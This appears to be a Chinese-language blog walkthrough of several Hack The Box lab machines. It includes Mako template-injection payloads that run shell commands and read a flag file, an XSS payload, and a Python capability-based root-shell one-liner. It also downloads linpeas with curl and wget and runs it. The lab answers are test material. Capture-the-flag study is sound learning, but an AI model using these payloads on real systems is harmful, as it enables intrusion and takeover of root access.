1
2
3
4
5
6
7
8
┌──(root㉿kali)-[/home/kali/Desktop]
└─# export http_proxy=http://192.168.235.1:7890

┌──(root㉿kali)-[/home/kali/Desktop]
└─# export https_proxy=http://192.168.235.1:7890

┌──(root㉿kali)-[/home/kali/Desktop]
└─# export all_proxy=socks5://192.168.235.1:7890

Task 2

我们用什么工具来与作系统交互,以便通过命令行下达命令,比如启动VPN连接的那个?它也被称为控制台或外壳。

终端-terminal

Task 3

我们用什么服务来把VPN连接连接到HTB Labs?

openvpn

Task 4

我们用什么工具来测试与目标的连接,发送ICMP回声请求?

ping

Task 6

在扫描时,我们在端口23/TCP上识别哪个服务?

telnet远程控制服务

Task 7

什么用户名能用空密码通过telnet登录目标网站?

root

提交根标志

扫描开放端口

1
nmap 10.129.16.99

image-20251214192134784

1
telnet 10.129.16.99 23

root无密码登录

image-20251214192204184

Spookifier

黑盒测试:

感觉像是模板注入

challenge/ 目录

image-20260425144553239

main.py:Flask应用初始化文件,注册blueprint、设置Mako模板引擎、定义错误处理器(返回JSON响应)。

util.py:工具模块,定义字体映射字典(font1-font4)和转换函数。

blueprints/routes.py: 路由定义,只有一个/路由,处理GET参数text,调用spookify函数并渲染模板。

templates/index.html: HTML模板,使用Mako语法渲染输出。

漏洞分析

1.站脚本攻击(XSS)漏洞

spookify(text)将输入字符串转换为字符列表,然后对每个字符使用font1到font4字典映射

如果输入<script>alert(1)</script>,font4映射结果仍是<script>alert(1)</script>(因为所有字符都在字典中)。

Mako模板${output}直接插入HTML,浏览器解析时执行<script>标签,导致XSS。

2.服务器端模板注入(SSTI)漏洞

Mako模板

image-20260425150630805

image-20260425150930991

1
2
输入${__import__("os").system("whoami")}
输出0

应用执行了whoami命令(返回退出码0,表示成功,但命令输出未显示,因为system()不捕获stdout)。

image-20260425153046660

1
${__import__('os').popen('cat /flag.txt').read()}

最后拿到flag

image-20260425153606529

Cap

信息收集阶段

扫描存活端口!

1
nmap -sV -Pn 10.129.41.234

这一步还有点出问题了,因为我用的是UDP1337协议的openvpn..很多校园网、公司网、运营商网络,都会对UDP流量做严格限制,所以一直扫描不出来。换了一个协议就好了

开放了3个端口

image-20260425165734977

web服务

发现可疑路由

image-20260425183025376

里面有大量流量

其中存在一个账号密码

1
2
nathan
Buck3tH4TF0RM3!

image-20260425183659372

考虑到之前还有一个ssh服务

可以以普通用户用SSH连接到靶机了

提权

进来先拿到了第一个flag,就在用户主目录下面

image-20260425184807859

查看一下有没有特殊权限的文件

在整个系统里,递归查找所有带特殊权限(capabilities)的文件,并且屏蔽无用报错。

1
getcap -r / 2>/dev/null

image-20260425190037901

其中

/usr/bin/python3.8 cap_setuid允许程序随便切换用户 ID

​ cap_net_bind_service普通程序可以绑定1024以下的特权端口

其他几个不用管,ping、traceroute、mtr、gst-ptp-helper都是网络相关普通权限,不能提权

利用 Python 的高危权限,从普通用户直接变成root管理员提权命令。

运行Python脚本,-c直接在命令行运行一段代码,不用写文件。os加载Python的系统操作模块

os.setuid(0)设置用户ID为0(0是root的ID)。最后打开一个root 权限的bash终端

1
python3.8 -c 'import os;os.setuid(0);os.system("/bin/bash")'

image-20260425211717533

image-20260425211730567

linpeas.sh-内网自动化信息收集工具

下载地址

1
https://github.com/peass-ng/PEASS-ng/releases/tag/20250320-91fb36a0

开启一个web服务

以便于把它上传到靶机中执行

image-20260425210708562

在靶机上执行

1
curl http://192.168.235.128:8888/linpeas.sh -o linpeas.sh

或者

1
wget http://192.168.235.128:8888/linpeas.sh

赋权再执行

1
2
chmod 777 linpeas.sh
./linpeas.sh

也可以看到哪里有漏洞的利用点

image-20260425214130839

GTFOBins

最后再在ctfbbins上搜索提权方法

GTFOBins 就是 Linux/Unix 提权 & 逃逸手册

这些不是漏洞,是 “合法命令被滥用” 的方法,专门对付配置错误的系统。

1
https://gtfobins.org/

找到python板块的Shell

image-20260425220216873

TwoMillion

信息收集

这个只扫描1000个常用端口,一般的靶场应该够用啦

1
nmap -sV -Pn 10.129.48.227

这是加速扫描全端口

1
nmap -sV -Pn -T4 -p- 10.129.48.227

image-20260427220804761

中间出现了一个小插曲~~~分享一下

网络一直出现问题,MTU分片的问题,ping一直延迟很大,为了解决这个问题,临时设置了一下MTU

1
ip link set dev tun0 mtu 1000

这样ping就稳定多了

顺便复习了一下计网基础了

1
2
3
4
5
6
7
8
9
正常情况:您发送数据包 → 网络设备正常转发 → 对方收到 ✅

目前情况:您发送 1500 字节的包 → 中间某个设备只能处理 1000 字节的包

包太大,需要切碎(分片)

分片丢失或重组失败

触发大量重传,延迟指数级增长 ❌

MTU值设置的太大了,中间有个设备过不去了!!!

web服务

直接访问10.129.229.66:80会出现一个问题

Nginx强制301重定向到

image-20260524213046380

1
http://2million.htb/

还要走一下域名解析,配置一下

管理员打开记事本,最后一行添加

10.129.229.66 2million.htb

image-20260524214239724

刷新DNS缓存,就ok了

1
ipconfig /flushdns

image-20260524214423673

在/invite接口有一个JavaScript file很重要

image-20260524220124814

扔给ai分析一下